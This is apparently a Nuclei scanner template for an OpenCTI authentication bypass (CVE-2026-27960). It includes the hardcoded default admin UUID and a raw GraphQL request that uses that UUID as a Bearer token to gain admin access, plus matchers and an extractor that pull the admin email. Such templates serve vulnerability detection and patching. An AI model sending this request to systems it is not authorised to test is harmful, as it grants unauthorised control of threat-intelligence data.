id: CVE-2026-27960 info: name: OpenCTI < 6.9.13 - Authentication Bypass via User Impersonation author: DhiyaneshDk severity: critical description: | OpenCTI < 6.9.13 allows authentication bypass by supplying a Bearer token set to the admin user's internal_id UUID instead of a valid JWT. The default admin internal_id (88ec0c6a-13ce-5e39-b486-354fe4a7084f) grants full admin access to the GraphQL API, effectively bypassing all authentication. impact: | An unauthenticated attacker can gain full admin access to the OpenCTI GraphQL API, including reading and modifying all threat intelligence data. remediation: | Upgrade OpenCTI to version 6.9.13 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-27960 - https://www.pruva.dev/reproductions/REPRO-2026-00314 - https://www.pruva.dev/reproductions/REPRO-2026-00331 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-27960 epss-score: 0.0468 epss-percentile: 0.91745 cwe-id: CWE-287 metadata: verified: true max-request: 1 vendor: opencti product: opencti tags: cve,cve2026,opencti,auth-bypass,unauth,vkev http: - raw: - | POST /graphql HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer 88ec0c6a-13ce-5e39-b486-354fe4a7084f {"query":"{ me { user_email name } }"} matchers: - type: dsl dsl: - 'regex("\"data\"\\s*:\\s*\\{\\s*\"me\"\\s*:\\s*\\{[^{}]*\"user_email\"\\s*:\\s*\"[^\"]+\"", body)' - 'status_code == 200' condition: and extractors: - type: json part: body json: - '.data.me.user_email' # digest: 4b0a00483046022100b9358e7dcb93edf44b071493f6c5f89c9d24c383901efa743125ec0a33551b67022100f367f0b1604a96f4c6087db1935eb84e09d9e50255123b4d327a99f7de3fd137:922c64590222798bb761d5b6d8e72950